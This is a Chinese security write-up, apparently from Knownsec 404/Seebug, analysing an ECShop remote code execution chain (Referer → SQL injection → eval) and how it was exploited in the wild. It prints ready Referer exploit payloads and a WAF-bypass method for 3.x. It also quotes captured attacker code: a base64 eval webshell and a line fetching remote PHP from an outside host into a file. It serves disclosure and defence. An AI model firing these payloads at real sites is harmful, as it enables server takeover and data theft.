Date: 2018/09/04
背景
ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。2018年6月13日,知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”防御拦截并捕获到一个针对某著名区块链交易所网站的攻击,通过分析,发现攻击者利用的正式ECShop 2.x版本的0day漏洞攻击。于2018年6月14日,提交到知道创宇Seebug漏洞平台并收录。
随后于2018年8月31日,ID为“ringk3y”研究人员在其博客公开这个漏洞,并做了详细分析,该分析收录在Seebug Paper。
知道创宇404积极防御团队于2018年9月2日正式对外发布《ECShop全系列版本的远程代码执行漏洞》预警。
从2018年的6月13日首次拦截后,知道创宇404实验室多个团队对这个利用ECShop 0day攻击事件进行持续的监控分析,从下文的分析结果可以看出一个0day漏洞在实际攻击中的各个阶段的“堕落”过程。
漏洞分析
该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php
文件中display()
函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval
中,从而实现了任意代码执行。
值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响ECShop 3.x,这个是因为在3.x的版本里有引入防注入攻击的安全代码,通过我们分析发现该防御代码完全可以绕过实现对ECShop 3.x的攻击(详见下文分析)。
注:以下代码分析基于ECShop 2.7.3
SQL 注入漏洞
首先看到ecshop/user.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
<span class="x">elseif ($action == 'login')</span> <span class="x">{</span> <span class="x"> if (empty($back_act))</span> <span class="x"> {</span> <span class="x"> if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))</span> <span class="x"> {</span> <span class="x"> $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];</span> <span class="x"> }</span> <span class="x"> else</span> <span class="x"> {</span> <span class="x"> $back_act = 'user.php';</span> <span class="x"> }</span> <span class="x"> }</span> <span class="x"> $captcha = intval($_CFG['captcha']);</span> <span class="x"> if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0)</span> <span class="x"> {</span> <span class="x"> $GLOBALS['smarty']->assign('enabled_captcha', 1);</span> <span class="x"> $GLOBALS['smarty']->assign('rand', mt_rand());</span> <span class="x"> }</span> <span class="x"> $smarty->assign('back_act', $back_act);</span> <span class="x"> $smarty->display('user_passport.dwt');</span> <span class="x">}</span> |
可以看到$back_act
是从HTTP_REFERER
获取到的,HTTP_REFERER
是外部可控的,这也是万恶的根源。
接着将back_act
变量传递给assign
函数,跟进ecshop/includes/cls_template.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
<span class="x"> /**</span> <span class="x"> * 注册变量</span> <span class="x"> *</span> <span class="x"> * @access public</span> <span class="x"> * @param mix $tpl_var</span> <span class="x"> * @param mix $value</span> <span class="x"> *</span> <span class="x"> * @return void</span> <span class="x"> */</span> <span class="x"> function assign($tpl_var, $value = '')</span> <span class="x"> {</span> <span class="x"> if (is_array($tpl_var))</span> <span class="x"> {</span> <span class="x"> foreach ($tpl_var AS $key => $val)</span> <span class="x"> {</span> <span class="x"> if ($key != '')</span> <span class="x"> {</span> <span class="x"> $this->_var[$key] = $val;</span> <span class="x"> }</span> <span class="x"> }</span> <span class="x"> }</span> <span class="x"> else</span> <span class="x"> {</span> <span class="x"> if ($tpl_var != '')</span> <span class="x"> {</span> <span class="x"> $this->_var[$tpl_var] = $value;</span> <span class="x"> }</span> <span class="x"> }</span> <span class="x"> }</span> |
可以从注释了解这个函数的功能,是注册模板变量,也就是$back_act
变成了$this->_var[$back_act]=$back_act
,而后调用display
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
<span class="x"> function display($filename, $cache_id = '')</span> <span class="x"> {</span> <span class="x"> $this->_seterror++;</span> <span class="x"> error_reporting(E_ALL ^ E_NOTICE);</span> <span class="x"> $this->_checkfile = false;</span> <span class="x"> $out = $this->fetch($filename, $cache_id);</span> <span class="x"> if (strpos($out, $this->_echash) !== false)</span> <span class="x"> {</span> <span class="x"> $k = explode($this->_echash, $out);</span> <span class="x"> foreach ($k AS $key => $val)</span> <span class="x"> {</span> <span class="x"> if (($key % 2) == 1)</span> <span class="x"> {</span> <span class="x"> $k[$key] = $this->insert_mod($val);</span> <span class="x"> }</span> <span class="x"> }</span> <span class="x"> $out = implode('', $k);</span> <span class="x"> }</span> <span class="x"> error_reporting($this->_errorlevel);</span> <span class="x"> $this->_seterror--;</span> <span class="x"> echo $out;</span> <span class="x"> }</span> |
从user.php
调用display
函数,传递进来的$filename
是user_passport.dwt
,从函数来看,首先会调用$this->fetch
来处理user_passport.dwt
模板文件,fetch
函数中会调用$this->make_compiled
来编译模板。user_passport.dwt
其中一段如下:
1 2 3 4 5 6 |
<span class="p"><</span><span class="nt">td</span><span class="p">></span><span class="ni">&nbsp;</span><span class="p"></</span><span class="nt">td</span><span class="p">></span> <span class="p"><</span><span class="nt">td</span> <span class="na">align</span><span class="o">=</span><span class="s">"left"</span><span class="p">></span> <span class="p"><</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">"hidden"</span> <span class="na">name</span><span class="o">=</span><span class="s">"act"</span> <span class="na">value</span><span class="o">=</span><span class="s">"act_login"</span> <span class="p">/></span> <span class="p"><</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">"hidden"</span> <span class="na">name</span><span class="o">=</span><span class="s">"back_act"</span> <span class="na">value</span><span class="o">=</span><span class="s">"{$back_act}"</span> <span class="p">/></span> <span class="p"><</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">"submit"</span> <span class="na">name</span><span class="o">=</span><span class="s">"submit"</span> <span class="na">value</span><span class="o">=</span><span class="s">""</span> <span class="na">class</span><span class="o">=</span><span class="s">"us_Submit"</span> <span class="p">/></span> <span class="p"></</span><span class="nt">td</span><span class="p">></span> |
make_compiled
会将模板中的变量解析,也就是在这个时候将上面assign
中注册到的变量$back_act
传递进去了,解析完变量之后返回到display
函数中。此时$out
是解析变量后的html内容,判断$this->_echash
是否在$out
中,若在,使用$this->_echash
来分割内容,得到$k
然后交给insert_mod
处理。
由于_echash
是默认的,不是随机生成的,所以$val
内容可随意控制。跟进$this->insert_mod
1 2 3 4 5 6 7 8 |
<span class="x"> function insert_mod($name) // 处理动态内容</span> <span class="x"> {</span> <span class="x"> list($fun, $para) = explode('|', $name);</span> <span class="x"> $para = unserialize($para);</span> <span class="x"> $fun = 'insert_' . $fun;</span> <span class="x"> return $fun($para);</span> <span class="x"> }</span> |
$val
传递进来,先用|
分割,得到$fun
和$para
,$para
进行反序列操作,$fun
和insert_
拼接,最后动态调用$fun($para)
,函数名部分可控,参数完全可控。接下来就是寻找以insert_
开头的可利用的函数了,在ecshop/includes/lib_insert.php
有一个insert_ads
函数,正好满足要求。看下insert_ads
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
<span class="x">/**</span> <span class="x"> * 调用指定的广告位的广告</span> <span class="x"> *</span> <span class="x"> * @access public</span> <span class="x"> * @param integer $id 广告位ID</span> <span class="x"> * @param integer $num 广告数量</span> <span class="x"> * @return string</span> <span class="x"> */</span> <span class="x">function insert_ads($arr)</span> <span class="x">{</span> <span class="x"> static $static_res = NULL;</span> <span class="x"> $time = gmtime();</span> <span class="x"> if (!empty($arr['num']) && $arr['num'] != 1)</span> <span class="x"> {</span> <span class="x"> $sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .</span> <span class="x"> 'p.ad_height, p.position_style, RAND() AS rnd ' .</span> <span class="x"> 'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.</span> <span class="x"> 'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .</span> <span class="x"> "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".</span> <span class="x"> "AND a.position_id = '" . $arr['id'] . "' " .</span> <span class="x"> 'ORDER BY rnd LIMIT ' . $arr['num'];</span> <span class="x"> $res = $GLOBALS['db']->GetAll($sql);</span> <span class="x"> }</span> <span class="x">......</span> <span class="x"> $ads = array();</span> <span class="x"> $position_style = '';</span> <span class="x"> foreach ($res AS $row)</span> <span class="x"> {</span> <span class="x"> if ($row['position_id'] != $arr['id'])</span> <span class="x"> {</span> <span class="x"> continue;</span> <span class="x"> }</span> <span class="x"> $position_style = $row['position_style'];</span> <span class="x"> switch ($row['media_type'])</span> <span class="x"> {</span> <span class="x">......</span> <span class="x"> }</span> <span class="x"> $position_style = 'str:' . $position_style;</span> <span class="x"> $need_cache = $GLOBALS['smarty']->caching;</span> <span class="x"> $GLOBALS['smarty']->caching = false;</span> <span class="x"> $GLOBALS['smarty']->assign('ads', $ads);</span> <span class="x"> $val = $GLOBALS['smarty']->fetch($position_style);</span> <span class="x"> $GLOBALS['smarty']->caching = $need_cache;</span> <span class="x"> return $val;</span> <span class="x">}</span> |
$arr
是可控的,并且会拼接到SQL语句中,这就造成了SQL注入漏洞。
根据上面的流程,可以构造出如下形式的payload
1 |
echash+fun|serialize(array("num"=>sqlpayload,"id"=>1)) |
实际可利用payload
1 |
<span class="n">Referer</span><span class="o">:</span> <span class="mi">554</span><span class="n">fcae493e564ee0dc75bdf2ebf94caads</span><span class="o">|</span><span class="n">a</span><span class="o">:</span><span class="mi">2</span><span class="o">:{</span><span class="n">s</span><span class="o">:</span><span class="mi">3</span><span class="o">:</span><span class="s2">"num"</span><span class="o">;</span><span class="n">s</span><span class="o">:</span><span class="mi">72</span><span class="o">:</span><span class="s2">"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -"</span><span class="o">;</span><span class="n">s</span><span class="o">:</span><span class="mi">2</span><span class="o">:</span><span class="s2">"id"</span><span class="o">;</span><span class="n">i</span><span class="o">:</span><span class="mi">1</span><span class="o">;}</span> |
代码执行
继续看insert_ads
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
<span class="x">$position_style = '';</span> <span class="x"> foreach ($res AS $row)</span> <span class="x"> {</span> <span class="x"> if ($row['position_id'] != $arr['id'])</span> <span class="x"> {</span> <span class="x"> continue;</span> <span class="x"> }</span> <span class="x"> $position_style = $row['position_style'];</span> <span class="x"> switch ($row['media_type'])</span> <span class="x"> {</span> <span class="x">......</span> <span class="x"> $position_style = 'str:' . $position_style;</span> <span class="x"> $need_cache = $GLOBALS['smarty']->caching;</span> <span class="x"> $GLOBALS['smarty']->caching = false;</span> <span class="x"> $GLOBALS['smarty']->assign('ads', $ads);</span> <span class="x"> $val = $GLOBALS['smarty']->fetch($position_style);</span> <span class="x"> $GLOBALS['smarty']->caching = $need_cache;</span> <span class="x"> return $val;</span> |
可以看到在SQL查询结束之后会调用模板类的fetch
方法,在user.php
中调用display
,然后调用fetch
的时候传入的参数是user_passport.dwt
,而在此处传入的参数是$position_style
,向上溯源,发现是$row['position_style']
赋值而来,也就是SQL语句查询的结果,结果上面这个SQL注入漏洞,SQL查询的结果可控,也就是$position_style
可控。
要到$position_style = $row['position_style'];
还有一个条件,就是$row['position_id']
要等于$arr['id']
,查询结果可控,arr['id']
同样可控。
之后$position_style
会拼接'str:'
传入fetch
函数,跟进fetch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
<span class="x">/**</span> <span class="x"> * 处理模板文件</span> <span class="x"> *</span> <span class="x"> * @access public</span> <span class="x"> * @param string $filename</span> <span class="x"> * @param sting $cache_id</span> <span class="x"> *</span> <span class="x"> * @return sring</span> <span class="x"> */</span> <span class="x"> function fetch($filename, $cache_id = '')</span> <span class="x"> {</span> <span class="x"> if (!$this->_seterror)</span> <span class="x"> {</span> <span class="x"> error_reporting(E_ALL ^ E_NOTICE);</span> <span class="x"> }</span> <span class="x"> $this->_seterror++;</span> <span class="x"> if (strncmp($filename,'str:', 4) == 0)</span> <span class="x"> {</span> <span class="x"> $out = $this->_eval($this->fetch_str(substr($filename, 4)));</span> <span class="x"> }</span> <span class="x"> else</span> <span class="x"> {</span> <span class="x"> ......</span> |
因为之前拼接'str:'
了,所以strncmp($filename,'str:', 4) == 0
为真,然后会调用危险函数$this->_eval
,这就是最终触发漏洞的点。但是参数在传递之前要经过fetch_str
方法的处理,跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
<span class="x"> /**</span> <span class="x"> * 处理字符串函数</span> <span class="x"> *</span> <span class="x"> * @access public</span> <span class="x"> * @param string $source</span> <span class="x"> *</span> <span class="x"> * @return sring</span> <span class="x"> */</span> <span class="x"> function fetch_str($source)</span> <span class="x"> {</span> <span class="x"> if (!defined('ECS_ADMIN'))</span> <span class="x"> {</span> <span class="x"> $source = $this->smarty_prefilter_preCompile($source);</span> <span class="x"> }</span> <span class="x"> $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);</span> <span class="x"> if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))</span> <span class="x"> {</span> <span class="x"> $sp_match[1] = array_unique($sp_match[1]);</span> <span class="x"> for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)</span> <span class="x"> {</span> <span class="x"> $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);</span> <span class="x"> }</span> <span class="x"> for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)</span> <span class="x"> {</span> <span class="x"> $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '</span><span class="cp"><?php</span> <span class="k">echo</span> <span class="nx">\</span><span class="s1">''</span><span class="o">.</span><span class="nb">str_replace</span><span class="p">(</span><span class="s2">"'"</span><span class="p">,</span> <span class="s2">"\'"</span><span class="p">,</span> <span class="nv">$sp_match</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="nv">$curr_sp</span><span class="p">])</span><span class="o">.</span><span class="s1">'\'; ?>'</span><span class="o">.</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span> <span class="nv">$source</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">return</span> <span class="nb">preg_replace</span><span class="p">(</span><span class="s2">"/{([^\}\{</span><span class="se">\n</span><span class="s2">]*)}/e"</span><span class="p">,</span> <span class="s2">"</span><span class="se">\$</span><span class="s2">this->select('</span><span class="se">\\</span><span class="s2">1');"</span><span class="p">,</span> <span class="nv">$source</span><span class="p">);</span> <span class="p">}</span> |
第一个正则会匹配一些关键字,然后置空,主要看下最后一个正则
1 |
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source); |
这个正则是将捕获到的值交于$this-select()
函数处理。例如,$source
的值是xxx{$abc}xxx
,正则捕获到的group 1 就是$abc
,然后就会调用$this-select("$abc")
。
跟进select
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
<span class="x"> /**</span> <span class="x"> * 处理{}标签</span> <span class="x"> *</span> <span class="x"> * @access public</span> <span class="x"> * @param string $tag</span> <span class="x"> *</span> <span class="x"> * @return sring</span> <span class="x"> */</span> <span class="x"> function select($tag)</span> <span class="x"> {</span> <span class="x"> $tag = stripslashes(trim($tag));</span> <span class="x"> if (empty($tag))</span> <span class="x"> {</span> <span class="x"> return '{}';</span> <span class="x"> }</span> <span class="x"> elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注释部分</span> <span class="x"> {</span> <span class="x"> return '';</span> <span class="x"> }</span> <span class="x"> elseif ($tag{0} == '$') // 变量</span> <span class="x"> {</span> <span class="x">// if(strpos($tag,"'") || strpos($tag,"]"))</span> <span class="x">// {</span> <span class="x">// return '';</span> <span class="x">// }</span> <span class="x"> return '</span><span class="cp"><?php</span> <span class="k">echo</span> <span class="s1">' . $this->get_val(substr($tag, 1)) . '</span><span class="p">;</span> <span class="cp">?></span><span class="x">';</span> <span class="x"> }</span> <span class="x"> ......</span> |
当传入的变量的第一个字符是$
,会返回由 php 标签包含变量的字符串,最终返回到_eval()
危险函数内,执行。在返回之前,还调用了$this->get_var
处理,跟进get_var
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
<span class="x"> /**</span> <span class="x"> * 处理smarty标签中的变量标签</span> <span class="x"> *</span> <span class="x"> * @access public</span> <span class="x"> * @param string $val</span> <span class="x"> *</span> <span class="x"> * @return bool</span> <span class="x"> */</span> <span class="x"> function get_val($val)</span> <span class="x"> {</span> <span class="x"> if (strrpos($val, '[') !== false)</span> <span class="x"> {</span> <span class="x"> $val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val);</span> <span class="x"> }</span> <span class="x"> if (strrpos($val, '|') !== false)</span> <span class="x"> {</span> <span class="x"> $moddb = explode('|', $val);</span> <span class="x"> $val = array_shift($moddb);</span> <span class="x"> }</span> <span class="x"> if (empty($val))</span> <span class="x"> {</span> <span class="x"> return '';</span> <span class="x"> }</span> <span class="x"> if (strpos($val, '.$') !== false)</span> <span class="x"> {</span> <span class="x"> $all = explode('.$', $val);</span> <span class="x"> foreach ($all AS $key => $val)</span> <span class="x"> {</span> <span class="x"> $all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']';</span> <span class="x"> }</span> <span class="x"> $p = implode('', $all);</span> <span class="x"> }</span> <span class="x"> else</span> <span class="x"> {</span> <span class="x"> $p = $this->make_var($val);</span> <span class="x"> }</span> |
当传入的变量没有.$
时,调用$this->make_var
,跟进make_var
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
<span class="x"> /**</span> <span class="x"> * 处理去掉$的字符串</span> <span class="x"> *</span> <span class="x"> * @access public</span> <span class="x"> * @param string $val</span> <span class="x"> *</span> <span class="x"> * @return bool</span> <span class="x"> */</span> <span class="x"> function make_var($val)</span> <span class="x"> {</span> <span class="x"> if (strrpos($val, '.') === false)</span> <span class="x"> {</span> <span class="x"> if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))</span> <span class="x"> {</span> <span class="x"> $val = $this->_patchstack[$val];</span> <span class="x"> }</span> <span class="x"> $p = '$this->_var[\'' . $val . '\']';</span> <span class="x"> }</span> <span class="x"> else</span> <span class="x"> {</span> <span class="x"> .....</span> |
在这里结合select
函数里面的语句来看,<?php echo $this->_var[' $val '];?>
,要成功执行代码的话,$val
必须要把['
闭合,所以payload构造,从下往上构造,$val
为abc'];echo phpinfo();//
;从select
函数进入get_var
的条件是第一个字符是$
,所以payload变成了$abc'];echo phpinfo();//
;而要进入到select
,需要被捕获,payload变成了{$abc'];echo phpinfo();//}
,这里因为payload的是phpinfo()
,这里会被fetch_str
函数的第一个正则匹配到,需要变换一下,所以payload变为{$abc'];echo phpinfo/**/();//}
,到这里为止,php 恶意代码就构造完成了。
接下来就是把构造好的代码通过SQL注入漏洞传给$position_style
。 这里可以用union select 来控制查询的结果,根据之前的流程,$row['position_id']
和$arr['id']
要相等,$row['position_id']
是第二列的结果,$position_style
是第九列的结果。$arr['id']
传入' /*
,$arr['num']
传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -
,0x27202f2a
是' /*
的16进制值,也就是$row['position_id']
的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d
是上面构造的php代码的16进制值,也就是$position_style
。
结合之前的SQL漏洞的payload构造,所以最终的payload的是
1 |
<span class="n">Referer</span><span class="o">:</span> <span class="mi">554</span><span class="n">fcae493e564ee0dc75bdf2ebf94caads</span><span class="o">|</span><span class="n">a</span><span class="o">:</span><span class="mi">2</span><span class="o">:{</span><span class="n">s</span><span class="o">:</span><span class="mi">3</span><span class="o">:</span><span class="s2">"num"</span><span class="o">;</span><span class="n">s</span><span class="o">:</span><span class="mi">110</span><span class="o">:</span><span class="s2">"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -"</span><span class="o">;</span><span class="n">s</span><span class="o">:</span><span class="mi">2</span><span class="o">:</span><span class="s2">"id"</span><span class="o">;</span><span class="n">s</span><span class="o">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"' /*"</span><span class="o">;}</span><span class="mi">554</span><span class="n">fcae493e564ee0dc75bdf2ebf94ca</span> |
可以看到成功的执行了phpinfo()
。
ECShop 3.x 绕过
上述的测试环境都是2.7.3的,理论上打2.x都没问题,而在3.x上是不行的,原因是3.x自带了个WAF(ecshop/includes/safety.php
),对所有传入的参数都做了检测,按照上面构造的 payload ,union select
会触发SQL注入的检测规则,有兴趣的可以去绕绕,我没绕过。。
下面的测试版本为ECshop3.0,3.x版本的echash
是45ea207d7a2b68c49582d2d22adf953a
。 上面说了 insert_ads
函数存在注入,并且有两个可控点,$arr['id']
和$arr['num']
,可以将union select
通过两个参数传递进去,一个参数传递一个关键字,中间的可以使用/**/
注释掉,这样就不会触发WAF。
实际攻击分析
上文提到该漏洞最早由知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”在2018年6月13日拦截并捕获,随后针对这个漏洞的攻击情况做了详细的监控及跟进:
第一阶:0day在野之“APT攻击” (2018年6月13日)
首次捕获到 2.x 的 payload 是被用来攻击某区块链交易所网站,因此我们高度怀疑攻击者是用 0day 来攻击区块链交易所的 apt团队。样本中 payload 通过HTTP 请求头的Referer
字段植入,如下
把捕获的 payload 转码出来看
1 |
<span class="n">Referer</span><span class="o">:</span> <span class="n">http</span><span class="o">://</span><span class="n">www</span><span class="o">.</span><span class="na">noxxx</span><span class="o">.</span><span class="na">com</span><span class="sr">/554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:2:"id";s:3:"'/*";s:3:"num";S:216:"*/</span><span class="n">UNION</span> <span class="n">select</span> <span class="mi">1</span><span class="o">,</span><span class="mh">0x272f2a</span><span class="o">,</span><span class="mi">3</span><span class="o">,</span><span class="mi">4</span><span class="o">,</span><span class="mi">5</span><span class="o">,</span><span class="mi">6</span><span class="o">,</span><span class="mi">7</span><span class="o">,</span><span class="mi">8</span><span class="o">,</span><span class="mh">0x7b2461275d3b617373657274286261736536345f6465636f64652827514556575155776f596d467a5a5459305832526c5932396b5a53676b58314250553152624a303576654364644b536b372729293b24615b27317d</span><span class="o">,</span><span class="mi">10</span><span class="err">#"</span><span class="o">;}</span><span class="mi">554</span><span class="n">fcae493e564ee0dc75bdf2ebf94ca</span> |
恶意代码
1 |
<span class="cp">{</span><span class="nv">$a</span><span class="s1">'];assert(base64_decode('</span><span class="na">QEVWQUwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ05veCddKSk7</span><span class="s1">'));$a['</span><span class="m">1</span><span class="cp">}</span> |
base64部分的内容是
1 |
@EVAL(base64_decode($_POST['Nox'])); |
可以看到,没有写入 webshell,而是直接接收$_POST['Nox']
参数,进行base64解码后直接传入eval
函数执行代码,相当于一个无文件的 webshell ,非常隐蔽。
本次攻击是由一个日本ip(35.200.*.*)发起,通过攻击的手法及使用的paylaod等情况来看,并直接了当地用来攻击某著名区块链交易所,我们高度怀疑是目的性非常明确的“APT攻击”。
第二阶:0day在野之“黑产攻击” (2018年8月)
在随后整个7月都没有出现利用该漏洞攻击的记录直到8月初,在整个8月拦截捕获该0day漏洞攻击记录10余次,攻击者使用的 payload 都相同,且都是一个菲律宾IP(180.191.*.*)发起的攻击。如下:
1 |
<span class="nt">554fcae493e564ee0dc75bdf2ebf94caads</span><span class="o">|</span><span class="nt">a</span><span class="p">:</span><span class="nd">3</span><span class="o">:</span><span class="p">{</span><span class="n">s</span><span class="p">:</span><span class="mi">3</span><span class="o">:</span><span class="s2">"num"</span><span class="p">;</span><span class="n">s</span><span class="p">:</span><span class="mi">314</span><span class="o">:</span><span class="s2">"/<SP>union<SP>select<SP>1,0x272f2a,3,4,5,6,7,8,0x7B247B24686F6D65275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4575634768774A79786D6157786C5832646C6446396A623235305A5735306379676E6148523063446F764C33566C5A5335745A53394E636B706A4A796B704F773D3D2729293B2F2F7D7D,10--<SP>-"</span><span class="p">;</span><span class="n">s</span><span class="p">:</span><span class="mi">2</span><span class="o">:</span><span class="s2">"id"</span><span class="p">;</span><span class="n">s</span><span class="p">:</span><span class="mi">3</span><span class="o">:</span><span class="s2">"'/"</span><span class="p">;</span><span class="n">s</span><span class="p">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"name"</span><span class="p">;</span><span class="n">s</span><span class="p">:</span><span class="mi">3</span><span class="o">:</span><span class="s2">"ads"</span><span class="p">;}</span><span class="nt">554fcae493e564ee0dc75bdf2ebf94ca</span> |
// file_put_contents('1.php',file_get_contents('http://uee.me/MrJc'));
和这篇分析文章里捕获到的样本一致。
从整个8月拦截的10余次攻击目标,payload等手法来看,我们认为极有可能该0day漏洞已经被流入到“高端黑产”团队,并进行了批量自动化攻击。
第三阶:0day曝光之“疯狂攻击” (2018年8月31日后)
在2018年8月31日漏洞细节被公开之后,攻击数量开始增加,捕获到的 payload 也变的多种多样,漏洞被广泛利用。
从这些人使用的攻击目标、手法及payload(攻击使用的payload仍然只适用于2.x版本,目前为止没有看到使用针对3.x payload攻击)等情况来看,考虑大量的“低端黑产”玩家开始加入进来,继续“疯狂”的抓鸡行动中,榨干这个漏洞的最后一滴“油水”...
漏洞影响范围及修复
根据ZoomEye网络空间搜索引擎对ECShop关键字的搜索结果,共找到42400 条历史记录。
漏洞修复
目前我们分析下载最新版的ECShop 4.0里对这个漏洞进行修复:
看到ecshop4/ecshop/includes/lib_insert.php
可以看到,将传递进来的$arr[id]
和$arr[num]
强制转换成整型,这样就没法利用这个漏洞了。
另外我们注意到官方并没有发布针对老版本的(2.x和3.x)的独立修复补丁,相关老版本的用户可参考ECShop 4.0代码来修复或者直接升级到ECShop 4.0。
小结
本次ECShop这个漏洞挖掘到漏洞利用非常有技术含量,可以算是一个经典的“二次漏洞”案例,从一个SQL注入漏洞最后完美实现转变为代码执行漏洞。另外从这个漏洞在野外实际利用的过程,也非常的“经典”,完美重现了一个0day漏洞被挖掘利用转变为“武器”后的完美历程:从被用来目标明确的“定向攻击”,再到“黑产”高端玩家,直到最后在曝光后沦为黑产“抓鸡”工具的“堕落” ...
感谢我们404实验室各团队小伙伴的努力~~ 我爱你们~~
参考链接
- ecshop2.x代码执行
- ECShop全系列版本远程代码执行高危漏洞分析
- ecshop 2.7.3 代码执行漏洞
- ZoomEye 搜索结果
- 安全预警| ECShop全系列版本远程代码执行高危漏洞 创宇盾无需升级即可防御
- 二次漏洞
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/695/